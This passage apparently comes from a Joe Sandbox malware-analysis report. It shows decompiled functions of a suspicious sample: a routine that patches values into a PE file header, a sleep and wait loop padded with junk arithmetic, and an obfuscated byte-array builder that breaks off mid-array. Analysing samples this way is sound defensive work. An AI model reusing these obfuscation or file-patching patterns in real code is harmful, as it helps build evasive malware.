0x00429091
0x00429096
0x00429099
0x0042909a
0x0042909b
0x004290a0
0x004290a0
0x00429066
0x00429066
0x00429066
0x00429064
0x004290a3
0x004290a6
0x004290a8
0x004290aa
0x004290ae
0x004290ae
0x004290af
0x004290af
0x004290b5
0x004290b8
0x004290c3
0x004290c9
0x004290cc
0x004290ce
0x004290d3
0x004290d4
0x004290d7
0x004290d9
0x004290db
0x004290db
0x004290e2
0x004290e7
0x004290e8
0x004290eb
0x004290f0
0x004290f0
0x004290ce
0x00000000
0x00429132
0x00429133
0x00429139
0x00429139
0x00000000
0x0042900d
0x0042900d
0x0042900e
0x00429188
0x00429188
0x00429188
0x00000000
0x00429188
0x00428ff8
0x00428ffb
0x0042918a
0x0042918f
0x0042918f

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 324730bc8831b53de37483e4ade50557c27f786f69e829da899c859302e8a7af
Instruction ID: 7989a7ec8bd3e7dc296c367a6cca705834e82284c665f1faf7c5f8b3083430bb
Opcode Fuzzy Hash: 324730bc8831b53de37483e4ade50557c27f786f69e829da899c859302e8a7af
Instruction Fuzzy Hash: 09410571F01136ABDF207F67BC888BF7AA4EA45764F91412FF814A2280D73C4D518A9C

Uniqueness

Uniqueness Score: -1.00%

Function 00407760, Relevance: 7.6, APIs: 5, Instructions: 57
fileCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00407760(intOrPtr _a4) {
				long _v4;
				CHAR* _t9;
				void* _t23;
				intOrPtr _t27;
				void* _t31;

				if( *((intOrPtr*)(_t23 + 0x50)) < 0x10) {
					_t9 = _t23 + 0x3c;
				} else {
					_t9 =  *(_t23 + 0x3c);
				}
				_t31 = CreateFileA(_t9, 0x40000000, 0, 0, 3, 0, 0);
				if(_t31 != 0xffffffff) {
					_t27 = _a4;
					SetFilePointer(_t31,  *((intOrPtr*)(_t27 + 0x3c)) + 0x20, 0, 0);
					WriteFile(_t31, _t27 + 0x38, 4,  &_v4, 0);
					WriteFile(_t31, _t27 + 0x40, 4,  &_v4, 0);
					CloseHandle(_t31);
					return 1;
				} else {
					return 0;
				}
			}

0x00407765
0x0040776c
0x00407767
0x00407767
0x00407767
0x00407786
0x0040778b
0x00407796
0x004077a6
0x004077c0
0x004077d0
0x004077d3
0x004077e2
0x0040778d
0x00407791
0x00407791

APIs

CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000003,00000000,00000000,?,?,004088C2,?,?,00000000,000000FF,?,00000000), ref: 00407780
SetFilePointer.KERNEL32(00000000,?,00000000,00000000,?,00000001,?,0000000A), ref: 004077A6
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077C0
WriteFile.KERNEL32(00000000,?,00000004,?,00000000,?,0000000A), ref: 004077D0
CloseHandle.KERNEL32(00000000,?,0000000A), ref: 004077D3

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: File$Write$CloseCreateHandlePointer
String ID:
API String ID: 2529654636-0
Opcode ID: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
Instruction ID: 1453553940a4d3892de4ff384dbac704556b8781b2e4a3aa95a78d14f1d764be
Opcode Fuzzy Hash: 9b37f0a862f01d551fb1315119285fc735368d34d06a2e386bcb12519b4e4b4b
Instruction Fuzzy Hash: 910152B2345210BBF224D665DC85FABB35CFB45B55F604529F301AB1C0D7B0B912866E

Uniqueness

Uniqueness Score: -1.00%

Function 00426F68, Relevance: 7.5, APIs: 5, Instructions: 37
threadCOMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 41%

			E00426F68() {
				void* __ebx;
				void* __esi;
				long _t5;
				long _t11;
				long _t12;
				void* _t16;
				long* _t17;

				_t5 = GetLastError();
				_t12 = _t5;
				_t17 =  *0x432058( *0x431124);
				_t18 = _t17;
				if(_t17 == 0) {
					_push(0x8c);
					_push(1);
					_t17 = E0042AF1A(_t12, _t16, _t17, _t18);
					if(_t17 == 0) {
						L4:
						E00425D48(0x10);
					} else {
						_push(_t17);
						_push( *0x431124);
						if( *0x43205c() == 0) {
							goto L4;
						} else {
							_t17[0x15] = 0x431878;
							_t17[5] = 1;
							_t11 = GetCurrentThreadId();
							_t17[1] = _t17[1] | 0xffffffff;
							 *_t17 = _t11;
						}
					}
				}
				SetLastError(_t12);
				return _t17;
			}

0x00426f6a
0x00426f76
0x00426f7e
0x00426f80
0x00426f82
0x00426f84
0x00426f89
0x00426f90
0x00426f96
0x00426fc5
0x00426fc7
0x00426f98
0x00426f98
0x00426f99
0x00426fa7
0x00000000
0x00426fa9
0x00426fa9
0x00426fb0
0x00426fb7
0x00426fbd
0x00426fc1
0x00426fc1
0x00426fa7
0x00426f96
0x00426fce
0x00426fd8

APIs

GetLastError.KERNEL32(?,00000000,00429D66,0042754D,00000000,0042E878,00000008,004275A4,?,?,?,004255E1,00000004,0042E528,0000000C,004274A4), ref: 00426F6A
FlsGetValue.KERNEL32(?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F78
SetLastError.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426FCE

Part of subcall function 0042AF1A: __lock.LIBCMT ref: 0042AF5E
Part of subcall function 0042AF1A: RtlAllocateHeap.NTDLL(00000008,?,0042EF98,00000010,00426F90,00000001,0000008C,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A), ref: 0042AF9C

FlsSetValue.KERNEL32(00000000,?,004255E1,00000004,0042E528,0000000C,004274A4,00000000,?,0042720A,?,0042E598,00000060), ref: 00426F9F
GetCurrentThreadId.KERNEL32 ref: 00426FB7

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: ErrorLastValue$AllocateCurrentHeapThread__lock
String ID:
API String ID: 1487844433-0
Opcode ID: 75e628bb1afd77299139b061d247314bed22b6c22f4d8f656981266866f80e8a
Instruction ID: f63654c1ee938a50a5afa31d3a4a151140225177cbe4647d27af6bf58e16b5fd
Opcode Fuzzy Hash: 75e628bb1afd77299139b061d247314bed22b6c22f4d8f656981266866f80e8a
Instruction Fuzzy Hash: 42F0FC317017219FDB302F61BE0D6463BE0EF04761B520539F681962E0CBB48805DB5D

Uniqueness

Uniqueness Score: -1.00%

Function 00413AD0, Relevance: 7.5, APIs: 5, Instructions: 35
COMMON

Download Yara Rule

C-Code - Quality: 91%

			E00413AD0(void* __ecx) {
				void* __ebx;
				signed int _t9;
				signed int _t10;
				signed int _t11;
				signed int _t13;
				void* _t16;
				void* _t26;

				E00421EC0();
				E00421D50(_t16, 0x431c98);
				_push(_t16);
				_t26 = 0x431c98;
				_t1 = _t26 + 0x14c; // 0x104
				_t9 = SetEvent( *_t1);
				_t2 = _t26 + 0x150; // 0x110
				_t10 = SetEvent( *_t2);
				_t3 = _t26 + 0x154; // 0x114
				_t11 = SetEvent( *_t3);
				_t4 = _t26 + 0x158; // 0x10c
				_t13 = SetEvent( *_t4);
				_t5 = _t26 + 0x15c; // 0x108
				return SetEvent( *_t5) & _t9 & 0x00000001 & _t10 & _t11 & _t13;
			}

0x00413ad0
0x00413ada
0x0041ef00
0x0041ef09
0x0041ef0b
0x0041ef12
0x0041ef14
0x0041ef20
0x0041ef22
0x0041ef2b
0x0041ef2f
0x0041ef36
0x0041ef38
0x0041ef48

APIs

SetEvent.KERNEL32(00000104,?,00000000,00000001,00415108), ref: 0041EF12
SetEvent.KERNEL32(00000110), ref: 0041EF20
SetEvent.KERNEL32(00000114), ref: 0041EF2B
SetEvent.KERNEL32(0000010C), ref: 0041EF36
SetEvent.KERNEL32(00000108), ref: 0041EF41

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: Event
String ID:
API String ID: 4201588131-0
Opcode ID: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction ID: 92241c2d29be1143f2a9536055d46b80d7f207951b744ccd9958107ee56c1688
Opcode Fuzzy Hash: c5f2bf39e6656d233596ec134f051eeb9b07fd22e5f32040d0a10a1e3cd4c5e3
Instruction Fuzzy Hash: F6F08273710910A7C31896F99C899EAE399FB8C395B45062AEA19D7310CA3CAC1047EC

Uniqueness

Uniqueness Score: -1.00%

Function 0041EF50, Relevance: 7.5, APIs: 5, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041EF50(void* __ecx) {
				signed int _t8;
				signed int _t9;
				signed int _t11;
				signed int _t19;
				void* _t23;

				_t23 = __ecx;
				_t1 = _t23 + 0x14c; // 0x104
				_t19 = 1;
				if(ResetEvent( *_t1) == 0) {
					_t19 = 0;
				}
				_t2 = _t23 + 0x150; // 0x110
				_t8 = ResetEvent( *_t2);
				_t3 = _t23 + 0x154; // 0x114
				_t9 = ResetEvent( *_t3);
				_t4 = _t23 + 0x158; // 0x10c
				_t11 = ResetEvent( *_t4);
				_t5 = _t23 + 0x15c; // 0x108
				return ResetEvent( *_t5) & _t19 & _t8 & _t9 & _t11;
			}

0x0041ef58
0x0041ef5a
0x0041ef62
0x0041ef6b
0x0041ef6d
0x0041ef6d
0x0041ef6f
0x0041ef76
0x0041ef78
0x0041ef81
0x0041ef85
0x0041ef8c
0x0041ef8e
0x0041ef9e

APIs

ResetEvent.KERNEL32(00000104,?,00000000,00000001,00415134), ref: 0041EF67
ResetEvent.KERNEL32(00000110), ref: 0041EF76
ResetEvent.KERNEL32(00000114), ref: 0041EF81
ResetEvent.KERNEL32(0000010C), ref: 0041EF8C
ResetEvent.KERNEL32(00000108), ref: 0041EF97

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: EventReset
String ID:
API String ID: 2632953641-0
Opcode ID: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
Instruction ID: fc480dfa26fb09fbbc65d8aef6d91afcac74ba489442c4a45ccb12b9350b78a5
Opcode Fuzzy Hash: 4822540d4da0aa7164793d8268a4d29bb95e7092dff5d4a8231710eff046bdde
Instruction Fuzzy Hash: 8DF039B3211A009BC32096FACCC5EC7A3DAABCC305F190829A21DC3200C93CE8418778

Uniqueness

Uniqueness Score: -1.00%

Function 004191C0, Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 301
sleepsynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 89%

			E004191C0(void* __ebx, void* __edx, void* __edi, void* __esi, void* __ebp, void* __eflags, void** _a4) {
				char _v4;
				char _v12;
				intOrPtr _v16;
				void* _v28;
				void* _v32;
				char _v60;
				char _v88;
				char _v116;
				char _v136;
				char _v144;
				char _v172;
				char _v192;
				intOrPtr _v196;
				char _v200;
				char _v208;
				char _v216;
				char _v220;
				char _v228;
				char _v272;
				signed int _v284;
				char _v288;
				intOrPtr _t103;
				signed char _t115;
				signed int _t116;
				signed int _t118;
				signed char _t119;
				signed int _t123;
				signed char _t126;
				signed char _t132;
				signed int _t133;
				signed int _t136;
				signed int _t138;
				signed int _t140;
				signed int _t149;
				signed char _t153;
				signed int _t157;
				signed int _t159;
				signed int _t161;
				signed char _t163;
				signed char _t164;
				signed int _t167;
				signed int _t169;
				signed char _t178;
				signed char _t179;
				signed char _t180;
				signed char _t182;
				signed int _t185;
				signed char _t187;
				signed int _t202;
				signed int _t221;
				signed char _t224;
				signed char _t226;
				signed char _t227;
				signed int _t230;
				signed int _t231;
				void* _t232;
				signed int _t239;
				signed char _t241;
				signed int _t251;
				signed char _t256;
				signed int _t276;
				void** _t284;
				signed int _t289;
				void* _t291;
				intOrPtr _t292;
				void* _t293;

				_t291 = __ebp;
				_t232 = __edx;
				_push(0xffffffff);
				_push(E0042D471);
				_push( *[fs:0x0]);
				 *[fs:0x0] = _t292;
				_t293 = _t292 - 0x108;
				_t103 =  *0x4310d8; // 0x2c0d4047
				_push(__ebx);
				_push(__esi);
				_v16 = _t103;
				_push(__edi);
				_v196 = 0xf;
				_v200 = 0;
				_v216 = 0;
				_v4 = 0;
				E00416950( &_v192);
				_t284 = _a4;
				_v4 = 1;
				E0041ABC0( &_v272, _t284[2], _t284[4]);
				_v12 = 2;
				_v284 = 0;
				Sleep((E0040C1D0(_t232) % 0xa + 1) * 0x3e8);
				while(1) {
					_t178 = 0x87;
					if(WaitForSingleObject( *_t284, 0xa) != 0) {
						goto L5;
					}
					L2:
					if(E004074A0(_t284[1], 2) != 0 || E004074A0(_t284[1], 3) != 0) {
						_t167 =  *0x431e4c; // 0xf03c0042
						 *0x431e54 = _t167 | 0x00000073;
						_t169 =  *0x431e48; // 0x42
						_t178 = 0x77;
						 *0x431e50 =  *0x431e50 + 0xb1 - _t169 * 0x77;
					} else {
						_v4 = 1;
						E0041AFB0( &_v272);
						E004169B0( &_v192);
						__eflags = _v196 - 0x10;
						if(_v196 >= 0x10) {
							_push(_v216);
							L00424BCD();
							_t293 = _t293 + 4;
						}
						 *[fs:0x0] = _v12;
						__eflags = 0;
						return E00424873(0, _v16);
					}
					L5:
					_push(3);
					_push(2);
					 *0x431e4c = 0;
					 *0x431e54 = (_t178 & 0x000000ff) *  *0x431e54 - ( *0x431e50 & 0x000000ff) + 0x2b;
					if(E004087D0(_t284[1],  &_v136,  &_v220) != 0) {
						_t179 =  *0x431e48; // 0x42
						_t239 =  *0x431e4c; // 0xf03c0042
						_t115 =  *0x431e50; // 0x42
						_t180 = _t179 + 0x4c;
						_t240 = _t239 | 0x00000073;
						_t116 = _t115 ^ _t180;
						__eflags = _t116;
						 *0x431e54 = _t239 | 0x00000073;
						 *0x431e50 = _t116;
						L10:
						_t118 = E00407C80(_t284[1],  &_v144,  &_v284);
						__eflags = _t118;
						if(_t118 != 0) {
							_t119 = _v284;
							__eflags = _t119 & 0x00000001;
							if((_t119 & 0x00000001) != 0) {
								L16:
								_t288 =  &_v200;
								 *0x431e48 = 0x77;
								 *0x431e54 = 0x28;
								E00416BA0(_t180,  &_v144, _t240, _t284,  &_v200, _t291);
								_t241 =  *0x431e48; // 0x42
								_t202 = 0x77;
								 *0x431e50 = 0x77;
								 *0x431e4c = 0x28;
								 *0x431e48 = _t241 | 0x00000077;
								_v32 = _t284[7];
								_v28 = _t284[8];
								_t123 = _v284 | 0x00000002;
								__eflags = _t123;
								L17:
								_v284 = _t123;
								_t126 =  *0x431e48; // 0x42
								 *0x431e48 = _t126 + 0xb1 - _t202 * 0x28;
								_t182 = _t202 + 0x4c;
								 *0x431e4c = _t202 & 0x0000006d;
								 *0x431e54 = (_t182 | 0x00000073) & 0x000000ff;
								E00407CD0(_t284[1],  &_v144,  &_v284);
								_t132 =  *0x431e48; // 0x42
								_t133 = _t132 & 0x0000003b;
								 *0x431e48 = _t133;
								 *0x431e54 =  *0x431e54 ^ _t182 - _t133 *  *0x431e50 - 0x0000004f & 0x000000ff;
								_push( &_v208);
								_t136 = E0041B3D0(_t182 - _t133 *  *0x431e50 - 0x4f,  &_v288, _t284, _t288);
								__eflags = _t136;
								if(_t136 != 0) {
									_t251 =  *0x431e54; // 0xf02c0042
									 *0x431e48 = 0x77;
									 *0x431e54 = _t251 *  *0x431e4c - ( *0x431e50 & 0x000000ff) + 0x2b;
									E00416810(0);
								} else {
									_t138 =  *0x431e54; // 0x42
									_t185 =  *0x431e4c; // 0xf03c0042
									_t256 =  *0x431e50; // 0x42
									 *0x431e4c = _t185 & 0x000058fa;
									 *0x431e50 = _t256 + 0xb1 - _t138 *  *0x431e48;
									E00416810(1);
								}
								while(1) {
									_t178 = 0x87;
									if(WaitForSingleObject( *_t284, 0xa) != 0) {
										goto L5;
									}
									goto L2;
								}
							}
							__eflags = _t119 & 0x00000002;
							if(__eflags != 0) {
								L15:
								_t140 =  *0x431e48 & 0x000000ff;
								_t289 =  *0x431e4c; // 0xf03c0042
								_t288 = _t289 | ( *0x431e50 & 0x000000ff) - _t140 + _t140 * 0x00000002;
								 *0x431e4c = _t289 | ( *0x431e50 & 0x000000ff) - _t140 + _t140 * 0x00000002;
								E00416A80(_t180,  &_v172, _t140 + _t140 * 2, _t284, _t289 | ( *0x431e50 & 0x000000ff) - _t140 + _t140 * 0x00000002, _t291, __eflags,  &_v200);
								_push( &_v116);
								E004108D0();
								_push( &_v60);
								E00411800(_t180, _t284, _t289 | ( *0x431e50 & 0x000000ff) - _t140 + _t140 * 0x00000002, _t291);
								_t221 =  *0x431e4c; // 0xf03c0042
								 *0x431e4c = _t221 * 0x1a69;
								 *0x431e50 = 0x77;
								E00410EF0(_t180, _t284, _t288,  &_v88);
								 *0x431e54 =  *0x431e54 ^ _t180 & 0x000000ff;
								_t149 =  *0x431e54; // 0x42
								_v28 = _t284[6];
								_v32 = _t284[5];
								_t224 =  *0x431e50; // 0x42
								_t202 = _t224 + 0xb1 - _t149 *  *0x431e48;
								_t293 = _t293 + 0x10;
								 *0x431e50 = _t202;
								_t123 = _v284 | 0x00000001;
								goto L17;
							}
							__eflags = GetTickCount() & 0x00000001;
							if(__eflags == 0) {
								goto L16;
							}
							goto L15;
						}
						 *0x431e48 =  *0x431e48 - _t180;
						while(1) {
							_t178 = 0x87;
							if(WaitForSingleObject( *_t284, 0xa) != 0) {
								goto L5;
							}
							goto L2;
						}
					}
					_t153 =  *0x431e48; // 0x42
					_push(4);
					_push(3);
					 *0x431e48 = _t153 + 0x71;
					_t187 = _t178 ^ 0x0000005b;
					if(E004087D0(_t284[1],  &_v144,  &_v228) != 0) {
						_t157 =  *0x431e4c; // 0x42
						_t226 =  *0x431e48; // 0x42
						 *0x431e54 =  *0x431e54 & 0x00007878;
						_t159 =  *0x431e54; // 0x42
						_t227 = _t226 + 0xb1 - _t157 * _t187;
						 *0x431e48 = _t227;
						_t180 = _t187 | 0x00000025;
						_t240 = (_t159 * _t227 >> 0x20) + _t187 + 0xb1 - _t159 * _t227;
						 *0x431e4c = 0x28;
						 *0x431e50 = (_t159 * _t227 >> 0x20) + _t187 + 0xb1 - _t159 * _t227;
						goto L10;
					}
					_t161 =  *0x431e54; // 0x42
					_t230 =  *0x431e4c; // 0xf03c0042
					_t231 = _t230 - (_t187 & 0x000000ff);
					_t163 =  *0x431e50; // 0x42
					_t164 = _t163 + 0xb1 - _t161 *  *0x431e48;
					_t276 =  *0x431e54; // 0xf02c0042
					 *0x431e50 = _t164;
					 *0x431e4c = _t231;
					 *0x431e54 = _t276 * _t231 - (_t164 & 0x000000ff) + 0x2b;
				}
			}

0x004191c0
0x004191c0
0x004191c0
0x004191c2
0x004191cd
0x004191ce
0x004191d5
0x004191db
0x004191e0
0x004191e1
0x004191e4
0x004191eb
0x004191ec
0x004191f4
0x004191f8
0x00419201
0x00419208
0x0041920d
0x00419220
0x00419228
0x0041922d
0x00419235
0x0041924f
0x00419255
0x0041925a
0x00419264
0x00000000
0x00000000
0x00419266
0x00419272
0x00419286
0x0041928e
0x00419294
0x00419299
0x004192a3
0x0041962b
0x0041962f
0x00419637
0x00419640
0x00419645
0x0041964d
0x00419653
0x00419654
0x00419659
0x00419659
0x00419663
0x00419671
0x0041967e
0x0041967e
0x004192a9
0x004192bc
0x004192be
0x004192cf
0x004192d4
0x004192f2
0x004193ba
0x004193c0
0x004193c6
0x004193cb
0x004193ce
0x004193d1
0x004193d1
0x004193d3
0x004193da
0x004193df
0x004193ef
0x004193f4
0x004193f6
0x00419403
0x00419407
0x00419409
0x004194db
0x004194e2
0x004194e6
0x004194ed
0x004194f6
0x004194fb
0x00419501
0x00419505
0x0041950b
0x00419515
0x00419521
0x0041952c
0x00419533
0x00419533
0x00419536
0x00419536
0x00419544
0x0041954d
0x00419552
0x00419560
0x00419572
0x0041957d
0x00419582
0x00419587
0x00419589
0x0041959d
0x004195a8
0x004195ad
0x004195b2
0x004195b4
0x004195f4
0x00419609
0x00419617
0x00419621
0x004195b6
0x004195b6
0x004195c1
0x004195c7
0x004195d9
0x004195df
0x004195ea
0x004195ea
0x00419255
0x0041925a
0x00419264
0x00000000
0x00000000
0x00000000
0x00419264
0x00419255
0x0041940f
0x00419411
0x00419421
0x00419421
0x00419428
0x0041943e
0x00419448
0x0041944e
0x0041945a
0x0041945b
0x00419467
0x00419468
0x0041946d
0x00419481
0x00419487
0x0041948e
0x00419497
0x0041949e
0x004194af
0x004194b6
0x004194bd
0x004194cb
0x004194cd
0x004194d0
0x004194d6
0x00000000
0x004194d6
0x00419419
0x0041941b
0x00000000
0x00000000
0x00000000
0x0041941b
0x004193f8
0x00419255
0x0041925a
0x00419264
0x00000000
0x00000000
0x00000000
0x00419264
0x00419255
0x004192f8
0x004192fd
0x00419301
0x00419303
0x00419318
0x00419322
0x0041936e
0x00419373
0x0041937b
0x00419388
0x0041938d
0x00419397
0x004193a3
0x004193a6
0x004193a8
0x004193b2
0x00000000
0x004193b2
0x00419324
0x0041932f
0x00419338
0x0041933e
0x00419343
0x00419345
0x0041934e
0x00419357
0x00419362
0x00419362

APIs

Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1DA
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1E8
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C1F6
Part of subcall function 0040C1D0: GetTickCount.KERNEL32 ref: 0040C204

Sleep.KERNEL32(00000001), ref: 0041924F
WaitForSingleObject.KERNEL32(?,0000000A), ref: 0041925C
GetTickCount.KERNEL32 ref: 00419413

Part of subcall function 00416810: WaitForSingleObject.KERNEL32(00000000,000000FF,?,00419626,00000000,?,?,?,?,?,?,?,00000002,00000003,?,0000000A), ref: 00416818

Strings

G@,, xrefs: 004191DB

Memory Dump Source

Source File: 00000000.00000002.303750221.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.303744957.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303886469.000000000042E000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.303918997.0000000000431000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.303929663.0000000000434000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_message.jbxd

Similarity

API ID: CountTick$ObjectSingleWait$Sleep
String ID: G@,
API String ID: 2107416035-3496681718
Opcode ID: 5531abb51d72d533fd1387acf6882b9664964e104376c326b2851982cade6ec8
Instruction ID: 4296a646f5d555f2dc715e1725f5758dd743b50336ccfcb7debafdc6932538f0
Opcode Fuzzy Hash: 5531abb51d72d533fd1387acf6882b9664964e104376c326b2851982cade6ec8
Instruction Fuzzy Hash: 96C138761083C08FC314CF75D892BD67BA5ABA6301F14A43EE885433B1DBBA9449CF5A

Uniqueness

Uniqueness Score: -1.00%

Function 0042446C, Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 170
registryCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0042446C(void* __ebx, void* __edi, void* __esi) {
				intOrPtr _t130;
				char* _t132;
				long _t150;
				char* _t152;
				void* _t154;

				_t152 = _t154 - 0x70;
				_t130 =  *0x4310d8; // 0x2c0d4047
				_push(__ebx);
				 *((intOrPtr*)(_t152 + 0x6c)) = _t130;
				 *((char*)(_t152 - 0xc)) = 0xc6;
				 *((char*)(_t152 - 0xb)) = 0xa7;
				 *((char*)(_t152 - 0xa)) = 0xf4;
				 *((char*)(_t152 - 9)) = 0xc8;
				 *((char*)(_t152 - 8)) = 0xab;
				 *((char*)(_t152 - 7)) = 0x67;
				 *((char*)(_t152 - 6)) = 0xda;
				 *((char*)(_t152 - 5)) = 0x4a;
				 *((char*)(_t152 - 4)) = 0xa1;
				 *((char*)(_t152 - 3)) = 0xf2;
				 *((char*)(_t152 - 2)) = 0x69;
				 *((char*)(_t152 - 1)) = 0x28;
				 *_t152 = 0x1e;
				 *((char*)(_t152 + 1)) = 0x29;
				 *((char*)(_t152 + 2)) = 4;
				 *((char*)(_t152 + 3)) = 0x71;
				 *((char*)(_t152 + 4)) = 6;
				 *((char*)(_t152 + 5)) = 0x5f;
				 *((char*)(_t152 + 6)) = 0xcf;
				 *((char*)(_t152 + 7)) = 8;
				 *((char*)(_t152 + 8)) = 0x17;
				 *((char*)(_t152 + 9)) = 4;
				 *((char*)(_t152 + 0xa)) = 0xdd;
				 *((char*)(_t152 + 0xb)) = 0xdb;
				 *((char*)(_t152 + 0xc)) = 0x3c;
				 *((char*)(_t152 + 0xd)) = 0x5e;
				 *((char*)(_t152 + 0xe)) = 0xfb;
				 *((char*)(_t152 + 0xf)) = 0xe5;
				 *((char*)(_t152 + 0x10)) = 0xb2;
				 *((char*)(_t152 + 0x11)) = 0xf8;
				 *((char*)(_t152 + 0x12)) = 0x7e;
				 *((char*)(_t152 + 0x13)) = 4;
				 *((char*)(_t152 + 0x14)) = 0x87;
				 *((char*)(_t152 + 0x15)) = 0xf7;
				 *((char*)(_t152 + 0x16)) = 0xd4;
				 *((char*)(_t152 + 0x17)) = 0x19;
				 *((char*)(_t152 + 0x18)) = 0xc7;
				 *((char*)(_t152 + 0x19)) = 0xdc;
				 *((char*)(_t152 + 0x1a)) = 0xc8;
				 *((char*)(_t152 + 0x1b)) = 0x16;
				 *((char*)(_t152 + 0x1c)) = 0xee;
				 *((char*)(_t152 + 0x1d)) = 1;
				 *((char*)(_t152 + 0x1e)) = 0x29;
				 *((char*)(_t152 + 0x1f)) = 0x53;
				 *((char*)(_t152 + 0x20)) = 0xf6;
				 *((char*)(_t152 + 0x21)) = 0x3e;
				 *((char*)(_t152 + 0x22)) = 0xc8;
				 *((char*)(_t152 + 0x23)) = 0x53;
				 *((char*)(_t152 + 0x24)) = 0x8b;
				 *((char*)(_t152 + 0x25)) = 0xa2;
				 *((char*)(_t152 + 0x26)) = 0x94;
				 *((char*)(_t152 + 0x27)) = 0x67;
				 *((char*)(_t152 + 0x28)) = 0x43;
				 *((char*)(_t152 + 0x29)) = 0x92;
				 *((char*)(_t152 + 0x2a)) = 0xa1;
				 *((char*)(_t152 + 0x2b)) = 0x41;
				 *((char*)(_t152 + 0x2c)) = 0xeb;
				 *((char*)(_t152 + 0x2d)) = 0x38;
				 *((char*)(_t152 + 0x30)) = 0x38;
				 *((char*)(_t152 + 0x31)) = 0x98;
				 *((char*)(_t152 + 0x32)) = 0x25;
				 *((char*)(_t152 + 0x33)) = 0xd3;
				 *((char*)(_t152 + 0x34)) = 0xf3;
				 *((char*)(_t152 + 0x35)) = 0;
				 *((char*)(_t152 + 0x36)) = 0xc;
				 *((char*)(_t152 + 0x37)) = 0xe6;
				 *((char*)(_t152 + 0x38)) = 0xcd;
				 *((char*)(_t152 + 0x39)) = 0xfc;
				 *((char*)(_t152 + 0x3a)) = 0x27;
				 *((char*)(_t152 + 0x3b)) = 0xad;
				 *((char*)(_t152 + 0x3c)) = 0x70;
				 *((char*)(_t152 + 0x3d)) = 0xaa;
				 *((char*)(_t152 + 0x3e)) = 0x3d;
				 *((char*)(_t152 + 0x3f)) = 0x46;
				 *((char*)(_t152 + 0x40)) = 0x68;
				 *((char*)(_t152 + 0x41)) = 0x9d;
				 *((char*)(_t152 + 0x42)) = 0x64;
				 *((char*)(_t152 + 0x43)) = 0xad;
				 *((char*)(_t152 + 0x44)) = 0x8a;
				 *((char*)(_t152 + 0x45)) = 0xb3;
				 *((char*)(_t152 + 0x46)) = 0x77;
				 *((char*)(_t152 + 0x47)) = 0xb1;
				 *((char*)(_t152 + 0x48)) = 0x85;
